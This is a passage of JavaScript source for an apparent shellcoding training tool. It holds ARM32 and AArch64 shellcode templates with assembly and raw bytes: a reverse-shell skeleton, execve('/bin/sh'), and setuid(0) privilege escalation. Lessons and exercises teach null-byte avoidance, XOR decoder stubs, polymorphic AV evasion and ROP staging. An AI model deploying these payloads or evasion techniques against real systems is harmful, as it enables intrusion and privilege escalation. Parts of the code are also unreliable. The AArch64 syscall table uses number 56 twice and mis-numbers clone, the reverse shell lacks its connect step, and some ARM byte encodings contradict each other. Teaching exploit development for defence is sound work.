      "reverse shell": {
        asm: `; Reverse shell — ARM32 (connect-back)
; socket(AF_INET, SOCK_STREAM, 0)
mov  r0, #2         ; AF_INET
mov  r1, #1         ; SOCK_STREAM
eor  r2, r2, r2     ; protocol = 0
mov  r7, #125       ; __NR_socket (via socketcall on older, direct on newer)
add  r7, #156       ; 281 = __NR_socket
svc  #0
mov  r6, r0         ; save socket fd
; dup2(fd, 0/1/2) — redirect stdio
mov  r1, #2         ; start with stderr
dup_loop:
  mov  r0, r6       ; fd = socket
  mov  r7, #63      ; sys_dup2
  svc  #0
  subs r1, r1, #1
  bpl  dup_loop
; connect(fd, &addr, 16)
; execve("/bin/sh", NULL, NULL)
mov  r0, r6
eor  r1, r1, r1
eor  r2, r2, r2
mov  r7, #11        ; sys_execve
svc  #0`,
        bytes: "02 00 a0 e3 01 10 a0 e3 02 20 22 e0 7d 70 a0 e3 9c 70 87 e2 00 00 00 ef 00 60 a0 e1",
        desc: "ARM32 reverse shell skeleton — socket, dup2 loop, execve. Needs connect() with sockaddr_in filled in for target IP:port.",
        nullFree: false,
      },
    },
  },

  arm64: {
    name: "AArch64 (ARM64)",
    bits: 64,
    color: "#c792ea",
    registers: ["x0","x1","x2","x3","x4","x5","x6","x7","x8","x9","x10","x11","x12","x13","x14","x15","x16","x17","x18","x19","x20","x21","x22","x23","x24","x25","x26","x27","x28","x29","x30","sp","pc"],
    gpr: ["x0","x1","x2","x3","x4","x5","x6","x7","x8","x9","x10","x11","x12","x13","x14","x15"],
    special: { sp: "sp", bp: "x29 (fp)", ip: "pc", flags: "NZCV (pstate)" },
    callingConv: "AAPCS64 — args in X0-X7. Return in X0. X19-X28 callee-saved. X30 (LR) = return address.",
    syscallMethod: "svc #0",
    syscallReg: "x8",
    syscallArgs: ["x0","x1","x2","x3","x4","x5"],
    endian: "Little (fixed)",
    addressSize: "8 bytes",
    syscalls: {
      56: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] },
      57: { name: "sys_close", args: ["uint fd"] },
      63: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
      64: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
      56: { name: "sys_openat", args: ["int dfd","char *filename","int flags","int mode"] },
      23: { name: "sys_dup", args: ["uint fd"] },
      24: { name: "sys_dup3", args: ["uint oldfd","uint newfd","int flags"] },
      29: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] },
      93: { name: "sys_exit", args: ["int status"] },
      94: { name: "sys_exit_group", args: ["int status"] },
      129: { name: "sys_kill", args: ["pid_t pid","int sig"] },
      146: { name: "sys_setuid", args: ["uid_t uid"] },
      153: { name: "sys_setsid", args: [] },
      172: { name: "sys_getpid", args: [] },
      198: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
      200: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] },
      201: { name: "sys_listen", args: ["int fd","int backlog"] },
      202: { name: "sys_accept", args: ["int fd","struct sockaddr *addr","int *addrlen"] },
      203: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] },
      214: { name: "sys_brk", args: ["unsigned long brk"] },
      221: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
      222: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
      226: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
      233: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
    },
    instructions: {
      "Data Processing": [
        { op: "mov", syn: "mov Xd, Xn / mov Xd, #imm", desc: "Move register or 16-bit immediate", ex: "mov x0, x1" },
        { op: "movz", syn: "movz Xd, #imm16, lsl #shift", desc: "Move wide with zero — sets 16-bit slice, zeros rest", ex: "movz x0, #0x6873" },
        { op: "movk", syn: "movk Xd, #imm16, lsl #shift", desc: "Move wide with keep — sets 16-bit slice, keeps rest", ex: "movk x0, #0x2f2f, lsl #16" },
        { op: "movn", syn: "movn Xd, #imm16, lsl #shift", desc: "Move wide NOT — for loading negative values", ex: "movn x0, #0  ; x0 = -1" },
        { op: "add", syn: "add Xd, Xn, Op2", desc: "Add (register or imm12)", ex: "add x0, x1, #16" },
        { op: "sub", syn: "sub Xd, Xn, Op2", desc: "Subtract", ex: "sub sp, sp, #64" },
        { op: "adds/subs", syn: "adds Xd, Xn, Op2", desc: "Add/sub and set flags (NZCV)", ex: "subs x0, x0, #1" },
        { op: "mul", syn: "mul Xd, Xn, Xm", desc: "Multiply (64-bit result)", ex: "mul x0, x1, x2" },
        { op: "neg", syn: "neg Xd, Xn", desc: "Negate (alias: sub Xd, XZR, Xn)", ex: "neg x0, x0" },
        { op: "adr", syn: "adr Xd, label", desc: "PC-relative address (±1MB)", ex: "adr x0, msg" },
        { op: "adrp", syn: "adrp Xd, label", desc: "PC-relative page address (±4GB)", ex: "adrp x0, msg" },
      ],
      "Logic & Bitwise": [
        { op: "and", syn: "and Xd, Xn, Op2", desc: "Bitwise AND", ex: "and x0, x0, #0xFF" },
        { op: "orr", syn: "orr Xd, Xn, Op2", desc: "Bitwise OR", ex: "orr x0, x0, #0x80" },
        { op: "eor", syn: "eor Xd, Xn, Op2", desc: "Bitwise XOR", ex: "eor x0, x0, x0  ; zero" },
        { op: "bic", syn: "bic Xd, Xn, Op2", desc: "Bit clear (AND NOT)", ex: "bic x0, x0, #0xF" },
        { op: "tst", syn: "tst Xn, Op2", desc: "Test bits (AND, sets NZCV, no result)", ex: "tst x0, #1" },
        { op: "cmp", syn: "cmp Xn, Op2", desc: "Compare (SUBS, sets NZCV, no result)", ex: "cmp x0, #0" },
        { op: "lsl/lsr/asr", syn: "lsl Xd, Xn, #n", desc: "Shift operations", ex: "lsl x0, x1, #2" },
        { op: "ror", syn: "ror Xd, Xn, #n", desc: "Rotate right", ex: "ror x0, x0, #8" },
        { op: "cls/clz", syn: "clz Xd, Xn", desc: "Count leading zeros/sign bits", ex: "clz x0, x1" },
        { op: "rev", syn: "rev Xd, Xn", desc: "Reverse byte order (endian swap)", ex: "rev x0, x0" },
      ],
      "Memory": [
        { op: "ldr", syn: "ldr Xd, [Xn, #off]", desc: "Load register (word/doubleword)", ex: "ldr x0, [sp, #8]" },
        { op: "str", syn: "str Xd, [Xn, #off]", desc: "Store register", ex: "str x0, [sp]" },
        { op: "ldp/stp", syn: "stp X1, X2, [sp, #-16]!", desc: "Load/store pair (pre/post-index)", ex: "stp x29, x30, [sp, #-16]!" },
        { op: "ldrb/strb", syn: "ldrb Wd, [Xn]", desc: "Load/store byte (zero-extends to 32-bit W reg)", ex: "ldrb w0, [x1]" },
        { op: "ldrh/strh", syn: "ldrh Wd, [Xn]", desc: "Load/store halfword (16-bit)", ex: "ldrh w0, [x1, #2]" },
        { op: "ldrsb/ldrsh", syn: "ldrsb Xd, [Xn]", desc: "Load byte/half with sign extension", ex: "ldrsb x0, [x1]" },
        { op: "ldr Xd, =imm", syn: "ldr x0, =0x1234", desc: "Pseudo-instruction: load from literal pool", ex: "ldr x0, =0xDEADBEEF" },
      ],
      "Branch & System": [
        { op: "b", syn: "b label", desc: "Unconditional branch (±128MB)", ex: "b loop" },
        { op: "bl", syn: "bl label", desc: "Branch with link (call — saves PC to X30)", ex: "bl printf" },
        { op: "br/blr", syn: "blr Xn", desc: "Branch to register / with link", ex: "blr x8" },
        { op: "ret", syn: "ret", desc: "Return — BR X30", ex: "ret" },
        { op: "b.cond", syn: "b.eq/b.ne/b.gt/b.lt/b.ge/b.le/b.hi/b.lo", desc: "Conditional branch (16 conditions)", ex: "b.ne loop" },
        { op: "cbz/cbnz", syn: "cbz Xn, label", desc: "Compare and branch if zero/nonzero", ex: "cbz x0, done" },
        { op: "tbz/tbnz", syn: "tbz Xn, #bit, label", desc: "Test bit and branch", ex: "tbz x0, #0, is_even" },
        { op: "svc", syn: "svc #0", desc: "Supervisor call (triggers EL1 exception → syscall)", ex: "svc #0" },
        { op: "nop", syn: "nop", desc: "No operation", ex: "nop" },
      ],
      "Special Registers": [
        { op: "xzr/wzr", syn: "mov x0, xzr", desc: "Zero register — always reads as 0, writes discarded", ex: "mov x0, xzr  ; zero without nulls" },
        { op: "sp", syn: "mov x0, sp", desc: "Stack pointer (special, 16-byte aligned)", ex: "sub sp, sp, #32" },
        { op: "mrs/msr", syn: "mrs Xd, sysreg", desc: "Move to/from system register", ex: "mrs x0, NZCV" },
      ],
    },
    shellcodeTemplates: {
      "exit(0)": {
        asm: `; exit(0) — AArch64
mov  x0, #0         ; status = 0
mov  x8, #93        ; sys_exit
svc  #0`,
        bytes: "00 00 80 d2 a8 0b 80 d2 01 00 00 d4",
        desc: "Minimal AArch64 exit. All A64 instructions are 4 bytes — inherently fewer null-byte issues than ARM32.",
        nullFree: false,
      },
      "write(1, msg, 2)": {
        asm: `; write(1, "HI", 2) + exit — AArch64
mov  x0, #1         ; fd = stdout
mov  x1, #0x4948    ; "HI" little-endian
str  x1, [sp, #-16]!
mov  x1, sp         ; buf = stack pointer
mov  x2, #2         ; count
mov  x8, #64        ; sys_write
svc  #0
mov  x0, #0
mov  x8, #93        ; sys_exit
svc  #0`,
        bytes: "20 00 80 d2 01 29 89 d2 e1 0f 1f f8 e1 03 00 91 42 00 80 d2 08 08 80 d2 01 00 00 d4 00 00 80 d2 a8 0b 80 d2 01 00 00 d4",
        desc: "AArch64 write using stack-allocated string via STR pre-index.",
        nullFree: false,
      },
      "execve(/bin/sh)": {
        asm: `; execve("/bin/sh", NULL, NULL) — AArch64
mov  x1, xzr
mov  x2, xzr
movz x3, #0x6873
movk x3, #0x2f2f, lsl #16
movk x3, #0x6e69, lsl #32
movk x3, #0x622f, lsl #48
str  x3, [sp, #-8]!
mov  x0, sp
mov  x8, #221
svc  #0`,
        bytes: "e1 03 1f aa e2 03 1f aa 63 0e d0 d2 63 e5 bf f2 63 2d cd f2 63 45 c8 f2 e3 0f 1f f8 e0 03 00 91 a8 1b 80 d2 01 00 00 d4",
        desc: "AArch64 execve using movz/movk chain for 64-bit string construction.",
        nullFree: true,
      },
      "setuid+execve": {
        asm: `; setuid(0) + execve — AArch64
mov  x0, xzr
mov  x8, #146
svc  #0
mov  x1, xzr
mov  x2, xzr
movz x3, #0x6873
movk x3, #0x2f2f, lsl #16
movk x3, #0x6e69, lsl #32
movk x3, #0x622f, lsl #48
str  x3, [sp, #-8]!
mov  x0, sp
mov  x8, #221
svc  #0`,
        bytes: "e0 03 1f aa 28 12 80 d2 01 00 00 d4 e1 03 1f aa e2 03 1f aa 63 0e d0 d2 63 e5 bf f2 63 2d cd f2 63 45 c8 f2 e3 0f 1f f8 e0 03 00 91 a8 1b 80 d2 01 00 00 d4",
        desc: "Privilege escalation: setuid(0) then execve. Uses XZR for zero.",
        nullFree: true,
      },
    },
  },
};

// ── Encoding Exercises ──
const EXERCISES = [
  {
    id: "enc1",
    title: "Zero a Register (x86)",
    arch: "x86",
    difficulty: 1,
    prompt: "Write the most efficient way to zero EAX without using a null byte.",
    hint: "XOR a register with itself produces zero and is only 2 bytes.",
    answer: "xor eax, eax",
    explanation: "XOR EAX, EAX (opcode: 31 C0) is 2 bytes with no nulls. MOV EAX, 0 would be 5 bytes (B8 00 00 00 00) — full of nulls.",
    badBytes: "b8 00 00 00 00",
    goodBytes: "31 c0",
  },
  {
    id: "enc2",
    title: "Null-Free Syscall Number (x64)",
    arch: "x64",
    difficulty: 1,
    prompt: "Load syscall number 60 (sys_exit) into RAX without null bytes.",
    hint: "push the immediate, then pop into the register.",
    answer: "push 60\npop rax",
    explanation: "PUSH 60 / POP RAX (6A 3C 58) is 3 bytes, null-free. MOV RAX, 60 would require REX.W prefix and encode as 48 C7 C0 3C 00 00 00 — nulls everywhere.",
    badBytes: "48 c7 c0 3c 00 00 00",
    goodBytes: "6a 3c 58",
  },
  {
    id: "enc3",
    title: "Stack String Construction (x86)",
    arch: "x86",
    difficulty: 2,
    prompt: "Push the string '/bin' onto the stack in x86 without null bytes.",
    hint: "Strings are pushed as 32-bit DWORDs in reverse byte order (little-endian).",
    answer: "push 0x6e69622f",
    explanation: "'/bin' in ASCII: 2F=/ 62=b 69=i 6E=n. In little-endian DWORD: 0x6E69622F. PUSH 0x6E69622F (68 2F 62 69 6E) — 5 bytes, no nulls.",
    badBytes: "",
    goodBytes: "68 2f 62 69 6e",
  },
  {
    id: "enc4",
    title: "Avoiding Null in /bin/sh (x86)",
    arch: "x86",
    difficulty: 2,
    prompt: "The string '/bin/sh' is 7 bytes — it doesn't fill a DWORD cleanly. How do you push it without introducing a null?",
    hint: "Use a double-slash: '/bin//sh' is 8 bytes = two clean DWORDs.",
    answer: "push 0x68732f2f\npush 0x6e69622f",
    explanation: "'/bin//sh': two pushes — 0x68732F2F ('//sh') then 0x6E69622F ('/bin'). The extra '/' is ignored by the kernel. ESP now points to '/bin//sh'.",
    badBytes: "",
    goodBytes: "68 2f 2f 73 68 68 2f 62 69 6e",
  },
  {
    id: "enc5",
    title: "JMP-CALL-POP Pattern",
    arch: "x86",
    difficulty: 3,
    prompt: "Explain why JMP-CALL-POP works for getting a string address, and what happens at each step.",
    hint: "CALL pushes the next instruction's address (the return address) onto the stack.",
    answer: "jmp short _call\n_code: pop esi  ; ESI = &string\n...\n_call: call _code\ndb 'hello'",
    explanation: "JMP forward past the data to a CALL. CALL pushes the address of the *next* instruction (our string data) onto the stack, then jumps back. POP retrieves the string address. Position-independent — works at any load address.",
    badBytes: "",
    goodBytes: "eb XX 5e ... e8 YY ff ff ff 68 65 6c 6c 6f",
  },
  {
    id: "enc6",
    title: "XOR Encoder (x86)",
    arch: "x86",
    difficulty: 3,
    prompt: "Write a decoder stub that XOR-decodes ECX bytes at ESI with key 0xAA.",
    hint: "Loop: load byte at [ESI], XOR with key, store back, increment ESI, decrement ECX, repeat.",
    answer: "decode:\n  xor byte [esi], 0xAA\n  inc esi\n  loop decode",
    explanation: "LOOP decrements ECX and jumps if nonzero. The stub walks the encoded payload byte-by-byte, XORing each with the key to restore the original shellcode. Prepend this to your encoded payload.",
    badBytes: "",
    goodBytes: "80 36 aa 46 e2 fb",
  },
  {
    id: "arm1",
    title: "Zero a Register (ARM32)",
    arch: "arm32",
    difficulty: 1,
    prompt: "Zero register R0 in ARM32 without null bytes. Remember ARM32 fixed-width encoding often produces nulls.",
    hint: "EOR (exclusive OR) a register with itself. In Thumb mode, this avoids the null bytes inherent in ARM 32-bit encoding.",
    answer: "eor r0, r0, r0",
    explanation: "EOR R0, R0, R0 zeros the register. In Thumb mode (2 bytes: 40 40), this is null-free. In ARM mode (4 bytes: 00 00 20 E0), it contains 0x00 bytes — one reason Thumb mode is preferred for shellcoding.",
    badBytes: "00 00 a0 e3",
    goodBytes: "40 40",
  },
  {
    id: "arm2",
    title: "Syscall Setup (ARM32)",
    arch: "arm32",
    difficulty: 1,
    prompt: "Set up the registers for sys_exit(0) on ARM32. What register holds the syscall number?",
    hint: "On ARM32, syscall number goes in R7, and the first argument goes in R0.",
    answer: "mov r0, #0\nmov r7, #1\nsvc #0",
    explanation: "ARM32 Linux syscall convention: number in R7, args in R0-R5, invoked with SVC #0. sys_exit=1, status in R0. This is very different from x86 (EAX for syscall number, INT 0x80).",
    badBytes: "",
    goodBytes: "00 00 a0 e3 01 70 a0 e3 00 00 00 ef",
  },
  {
    id: "arm3",
    title: "Thumb vs ARM Encoding",
    arch: "arm32",
    difficulty: 2,
    prompt: "Why is Thumb mode preferred for ARM shellcoding? How do you switch to Thumb mode?",
    hint: "ARM 32-bit instructions are always 4 bytes and commonly contain 0x00. Thumb uses 2-byte instructions.",
    answer: ".thumb\nadd r0, #1",
    explanation: "ARM32 fixed 4-byte encoding produces null bytes in most instructions (e.g., MOV R0,#0 = 00 00 A0 E3). Thumb mode uses 16-bit instructions that naturally avoid nulls. Switch via .thumb directive or BX to an odd address. BX LR with bit 0 set enters Thumb mode.",
    badBytes: "00 00 a0 e3",
    goodBytes: "01 30",
  },
  {
    id: "arm4",
    title: "Build String (AArch64)",
    arch: "arm64",
    difficulty: 2,
    prompt: "Build the string '/bin' in register X3 on AArch64 using movz/movk. How does the movz/movk chain work?",
    hint: "movz loads a 16-bit immediate and zeros the rest. movk keeps the existing value and overwrites one 16-bit slot.",
    answer: "movz x3, #0x6962\nmovk x3, #0x2f6e, lsl #16",
    explanation: "AArch64 can't load 64-bit immediates directly. movz sets one 16-bit chunk and zeros the rest. movk (keep) sets one 16-bit chunk without disturbing the others. Chain up to 4 movk calls to build a full 64-bit value. Little-endian: '/bin' = 2F 62 69 6E → movz #0x6962 (bytes 0-1), movk #0x2f6e, lsl #16 (bytes 2-3).",
    badBytes: "",
    goodBytes: "",
  },
  {
    id: "arm5",
    title: "AArch64 Null-Free Zeroing",
    arch: "arm64",
    difficulty: 1,
    prompt: "Zero register X0 on AArch64 without producing null bytes. AArch64 has a dedicated zero register.",
    hint: "The XZR (zero register) always reads as zero. MOV from XZR avoids encoding a literal 0.",
    answer: "mov x0, xzr",
    explanation: "AArch64 has XZR/WZR — a hardwired zero register. MOV X0, XZR (AA 1F 03 E0... varies by encoding) is typically cleaner than MOV X0, #0. XZR is one of AArch64's biggest advantages for shellcoding — you never need XOR-zeroing tricks like on x86.",
    badBytes: "",
    goodBytes: "e0 03 1f aa",
  },
];

// ── Lesson Modules ──
const LESSONS = [
  {
    id: "L1",
    title: "Architecture Fundamentals",
    sections: [
      { title: "Registers & Data Sizes", content: "Registers are the CPU's fastest storage — directly wired into the ALU. x86 has 8 general-purpose 32-bit registers (EAX–EDI), while x64 extends these to 64-bit (RAX–RDI) and adds R8–R15. ARM uses R0–R12 with SP/LR/PC as dedicated registers. AArch64 expands to 31 general-purpose 64-bit registers (X0–X30).\n\nRegister sub-divisions matter for shellcode: writing to EAX zeros the upper 32 bits of RAX on x64, but writing to AX/AL does not. This zero-extension behavior is critical for avoiding unintended values." },
      { title: "Memory Layout", content: "A process's virtual memory follows a standard layout: .text (executable code, read-only), .data (initialized globals), .bss (uninitialized globals, zero-filled), heap (grows upward via brk/mmap), and stack (grows downward from high addresses). The stack stores return addresses, local variables, and function arguments — making it the primary target for classic buffer overflow exploitation.\n\nStack alignment matters: x86 traditionally uses 4-byte alignment, but x64 ABI requires 16-byte alignment before CALL instructions. Misalignment causes SIGSEGV on SSE instructions — a common shellcode debugging headache." },
      { title: "Endianness", content: "x86/x64 and ARM (in standard config) are little-endian: the least significant byte is stored at the lowest address. So the 32-bit value 0xDEADBEEF is stored in memory as EF BE AD DE. This affects how you construct strings on the stack — '/bin' (2F 62 69 6E) must be pushed as 0x6E69622F.\n\nARM can operate in big-endian mode but almost never does in practice. AArch64 is fixed little-endian. Network byte order (big-endian) requires conversion for socket addresses — htons() for ports, htonl() for IPs." },
    ],
  },
  {
    id: "L2",
    title: "Shellcoding Principles",
    sections: [
      { title: "Position Independence", content: "Shellcode must work without knowing its load address — you can't use absolute addresses. Techniques:\n\n1. JMP-CALL-POP: jump forward to a CALL, which pushes the address of the following data onto the stack, then pop it into a register.\n2. RIP-relative addressing (x64): LEA RDI, [RIP+offset] directly references data relative to the current instruction pointer.\n3. Stack construction: build strings by pushing immediate values onto the stack, then reference via RSP/ESP.\n4. ADR instruction (ARM): loads a PC-relative address in a single instruction.\n\nStack construction is most common in modern x86/x64 shellcode because it's compact and inherently position-independent." },
      { title: "Null Byte Avoidance", content: "Null bytes (0x00) terminate strings in C — if your shellcode is delivered via strcpy(), sprintf(), or similar functions, any null byte truncates the payload. Avoidance techniques:\n\n• XOR zeroing: xor eax, eax instead of mov eax, 0\n• Partial register loads: mov al, 1 instead of mov eax, 1\n• Push/pop: push 60; pop rax instead of mov rax, 60\n• Double-slash trick: '/bin//sh' instead of '/bin/sh\\0' to fill DWORD boundaries\n• SUB encoding: if an instruction unavoidably has a null, XOR-encode the shellcode and prepend a decoder stub\n\nAlways verify with: objdump -d shellcode.o | grep '00' or a hex dump." },
      { title: "System Calls", content: "Shellcode talks to the kernel via syscalls — no libc wrappers. Each architecture has a different convention:\n\n• x86: syscall number in EAX, args in EBX/ECX/EDX/ESI/EDI/EBP, invoke with INT 0x80\n• x64: syscall number in RAX, args in RDI/RSI/RDX/R10/R8/R9, invoke with SYSCALL instruction\n• ARM32: syscall number in R7, args in R0–R5, invoke with SVC #0\n• AArch64: syscall number in X8, args in X0–X5, invoke with SVC #0\n\nSyscall numbers differ between architectures AND between 32/64 bit on the same arch. sys_write is 4 on x86 but 1 on x64. Always verify against the kernel header or a syscall table." },
    ],
  },
  {
    id: "L3",
    title: "Encoding & Evasion",
    sections: [
      { title: "XOR Encoding", content: "The simplest encoder: XOR every byte of the shellcode with a single-byte key. The decoder stub (prepended to the payload) walks the encoded bytes and XORs them back. Choose a key that doesn't appear in the original shellcode — otherwise that byte becomes 0x00.\n\nLimitation: single-byte XOR is trivially detected by AV/IDS. It's a signature: look for a tight loop with XOR [reg], imm8.\n\nImprovement: use a multi-byte key (rolling XOR), or a different operation per byte (ADD/SUB/ROL rotation)." },
      { title: "Polymorphic Shellcode", content: "Polymorphic shellcode changes its appearance on every generation while maintaining identical functionality. Techniques:\n\n1. Register substitution: swap which registers perform which roles (use ECX instead of EBX)\n2. Instruction substitution: sub eax, eax ↔ xor eax, eax ↔ push 0; pop eax\n3. Garbage insertion: insert NOPs, dead code, or benign instructions between real ones\n4. Reordering: rearrange independent instruction sequences\n5. Metamorphic engines: full code rewriting — the decoder itself changes shape\n\nGoal: defeat signature-based detection. Does NOT defeat behavioral analysis or emulation." },
      { title: "Bad Character Analysis", content: "Different exploit vectors filter different byte values. Common bad chars:\n\n• 0x00 — null (string terminator)\n• 0x0a — newline (line-buffered input)\n• 0x0d — carriage return\n• 0x20 — space (argument separator)\n• 0xff — sometimes filtered in URL/HTTP contexts\n\nWorkflow: generate all 256 bytes (\\x00–\\xff), send through the vulnerability, compare what arrives vs what was sent. Missing/corrupted bytes are your bad chars. Then either avoid those opcodes or encode around them." },
    ],
  },
  {
    id: "L4",
    title: "Exploit Integration",
    sections: [
      { title: "Stack Buffer Overflows", content: "Classic exploitation: overflow a stack buffer to overwrite the saved return address (EIP/RIP) with a pointer to your shellcode. The function's RET instruction pops your controlled value into the instruction pointer, redirecting execution.\n\nModern mitigations: NX/DEP marks the stack non-executable — shellcode on the stack won't run. ASLR randomizes stack addresses — you can't predict where your shellcode lands. Stack canaries detect overwrites before RET executes.\n\nBypass: ROP (Return-Oriented Programming) chains existing code gadgets instead of injecting new code. The shellcode still matters — it's what your ROP chain ultimately executes after disabling protections." },
      { title: "ROP & Shellcode Staging", content: "When NX prevents direct shellcode execution, ROP chains small instruction sequences ('gadgets') ending in RET to build a program from existing code. Common strategy:\n\n1. ROP chain calls mprotect() to mark a memory page RWX\n2. Copy shellcode to that page (or it's already there from the overflow)\n3. Final gadget jumps to the now-executable shellcode\n\nAlternatively, a staged approach: a tiny first-stage shellcode (egg hunter, or read() call) pulls in the full second-stage payload over the network or from another memory location. This keeps the initial payload small enough to fit in tight buffer constraints." },
      { title: "Cross-Architecture Considerations", content: "ARM shellcode faces unique challenges: fixed-width instructions (4 bytes ARM, 2 bytes Thumb) mean more null bytes in typical ARM encoding. Solution: use Thumb mode — 16-bit instructions are denser and have fewer embedded nulls.\n\nAArch64: all instructions are exactly 4 bytes. movz/movk chains build 64-bit immediates in 16-bit chunks. No equivalent of x86's variable-length encoding means less flexibility for size optimization.\n\nMIPS (if you encounter it): branch delay slots execute the instruction AFTER a branch regardless. Forgetting this is a classic MIPS shellcoding mistake." },
    ],
  },
];

// ── Hex Viewer ──
const HexViewer = ({ bytes, highlight }) => {
  const byteArr = bytes.split(" ").filter(Boolean);
  return (
    <div style={{ fontFamily: "'Fira Code', 'Courier Prime', monospace", fontSize: 12, lineHeight: "20px", background: "#0a0c10", borderRadius: 6, padding: "10px 14px", overflowX: "auto", border: "1px solid #1a2030" }}>
      <div style={{ display: "flex", gap: 6, flexWrap: "wrap" }}>
        {byteArr.map((b, i) => {
          const isNull = b === "00";
          const isHl = highlight && highlight.includes(i);
          return (
            <span key={i} style={{
              color: isNull ? "#ff4757" : isHl ? "#ffd866" : b === "..." ? "#5a7a95" : "#c8d8e8",
              background: isNull ? "rgba(255,71,87,0.15)" : isHl ? "rgba(255,216,102,0.12)" : "transparent",
              padding: "1px 3px",
              borderRadius: 3,
              fontWeight: isNull ? 700 : 400,
            }}>{b}</span>
          );
        })}
      </div>
      <div style={{ marginTop: 6, fontSize: 10, color: "#5a7a95" }}>
        {byteArr.filter(b => b !== "...").length} bytes
        {byteArr.some(b => b === "00") && <span style={{ color: "#ff4757", marginLeft: 8 }}>⚠ Contains null bytes</span>}
        {!byteArr.some(b => b === "00") && <span style={{ color: "#39ff14", marginLeft: 8 }}>✓ Null-free</span>}
      </div>
    </div>
  );
};

// ── Register Visualizer ──
const RegisterViz = ({ arch }) => {
  const a = ARCHS[arch];
  const [vals, setVals] = useState({});
  useEffect(() => {
    const v = {};
    a.registers.forEach(r => { v[r] = Math.floor(Math.random() * (a.bits === 64 ? 0xFFFFFFFF : 0xFFFF)); });
    setVals(v);
  }, [arch]);

  const fmt = (v) => a.bits === 64
    ? "0x" + (v >>> 0).toString(16).padStart(8, "0").toUpperCase()
    : "0x" + (v >>> 0).toString(16).padStart(8, "0").toUpperCase();

  const isSpecial = (r) => Object.values(a.special).some(s => s.includes(r));

  return (
    <div style={{ display: "grid", gridTemplateColumns: "repeat(auto-fill, minmax(180px, 1fr))", gap: 4 }}>
      {a.registers.slice(0, 16).map(r => (
        <div key={r} style={{
          display: "flex", alignItems: "center", gap: 8,
          padding: "4px 10px", borderRadius: 4,
          background: isSpecial(r) ? "rgba(255,107,53,0.08)" : "rgba(0,212,255,0.04)",
          border: `1px solid ${isSpecial(r) ? "rgba(255,107,53,0.2)" : "#1a2030"}`,
          fontFamily: "'Fira Code', monospace", fontSize: 11,
        }}>
          <span style={{ color: isSpecial(r) ? "#ff6b35" : a.color, fontWeight: 700, minWidth: 48 }}>{r.toUpperCase()}</span>
          <span style={{ color: "#8899aa" }}>{fmt(vals[r] || 0)}</span>
        </div>
      ))}
    </div>
  );
};

// ── Stack Visualizer ──
const StackViz = ({ arch }) => {
  const a = ARCHS[arch];
  const base = a.bits === 64 ? 0x7FFFFFFFE000 : 0xBFFFF000;
  const rows = [
    { off: 0, label: "Return Address (saved " + (a.bits === 64 ? "RIP" : "EIP") + ")", val: "0x0804xxxx", color: "#ff4757" },
    { off: a.bits / 8, label: "Saved " + (a.bits === 64 ? "RBP" : "EBP"), val: "0xBFFFxxxx", color: "#ff6b35" },
    { off: (a.bits / 8) * 2, label: "Local var: buffer[0..3]", val: "0x41414141", color: "#ffd866" },
    { off: (a.bits / 8) * 3, label: "Local var: buffer[4..7]", val: "0x41414141", color: "#ffd866" },
    { off: (a.bits / 8) * 4, label: "Local var: buffer[8..11]", val: "0x41414141", color: "#ffd866" },
    { off: (a.bits / 8) * 5, label: "Stack canary (if present)", val: "0x00DEAD00", color: "#c792ea" },
    { off: (a.bits / 8) * 6, label: "← " + (a.bits === 64 ? "RSP" : "ESP") + " (stack pointer)", val: "", color: "#39ff14" },
  ];
  return (
    <div style={{ fontFamily: "'Fira Code', monospace", fontSize: 11 }}>
      <div style={{ display: "flex", background: "#0f1318", borderRadius: "6px 6px 0 0", padding: "6px 10px", borderBottom: "1px solid #1a2030" }}>
        <span style={{ color: "#5a7a95", width: 100 }}>Address</span>
        <span style={{ color: "#5a7a95", width: 120 }}>Value</span>
        <span style={{ color: "#5a7a95" }}>Description</span>
      </div>
      {rows.map((r, i) => (
        <div key={i} style={{
          display: "flex", padding: "5px 10px",
          background: i % 2 === 0 ? "#0a0c10" : "#0d1016",
          borderLeft: `3px solid ${r.color}`,
        }}>
          <span style={{ color: "#5a7a95", width: 100 }}>{"0x" + (base - r.off).toString(16).toUpperCase()}</span>
          <span style={{ color: r.color, width: 120, fontWeight: 600 }}>{r.val}</span>
          <span style={{ color: "#8899aa" }}>{r.label}</span>
        </div>
      ))}
      <div style={{ padding: "6px 10px", background: "#0a0c10", borderRadius: "0 0 6px 6px", color: "#5a7a95", fontSize: 10, textAlign: "center" }}>
        ▲ Stack grows downward (toward lower addresses) ▲
      </div>
    </div>
  );
};

// ═══════════════════════════════════════════════════════════════
// CPU EMULATION ENGINE — Step Debugger Core
// ═══════════════════════════════════════════════════════════════

const STACK_BASE_32 = 0xBFFFF000;
const STACK_BASE_64 = 0x7FFFFFFFE000;
const CODE_BASE = 0x08048000;

function createCpuState(archKey) {
  const ar = ARCHS[archKey];
  const regs = {};
  ar.registers.forEach(r => { regs[r] = 0; });
  const stackBase = ar.bits === 64 ? STACK_BASE_64 : STACK_BASE_32;
  const sp = ar.special.sp;
  regs[sp] = stackBase;
  const ip = ar.special.ip.replace(/ .*/, ""); // strip aliases like "pc (r15)"
  regs[ip] = CODE_BASE;
  return {
    regs,
    flags: { ZF: 0, CF: 0, SF: 0, OF: 0 },
    memory: {},     // address -> byte value
    stack: [],      // [{addr, value, label}]
    pc: 0,          // index into parsed instructions
    halted: false,
    output: [],     // syscall output
    history: [],    // previous states for undo
  };
}

function parseImm(s) {
  if (!s) return NaN;
  s = s.trim().replace(/,$/,"");
  if (s.startsWith("0x") || s.startsWith("0X")) return parseInt(s, 16);
  if (s.startsWith("-0x")) return -parseInt(s.slice(1), 16);
  if (s.startsWith("0b")) return parseInt(s.slice(2), 2);
  return parseInt(s, 10);
}

function isReg(s, archKey) {
  if (!s) return false;
  const ar = ARCHS[archKey];
  return ar.registers.includes(s.toLowerCase().replace(/,$/,""));
}

function cleanOp(s) {
  return (s || "").trim().replace(/,$/,"").toLowerCase();
}

function parseAsmLines(code, archKey) {
  const lines = code.split("\n");
  const parsed = [];
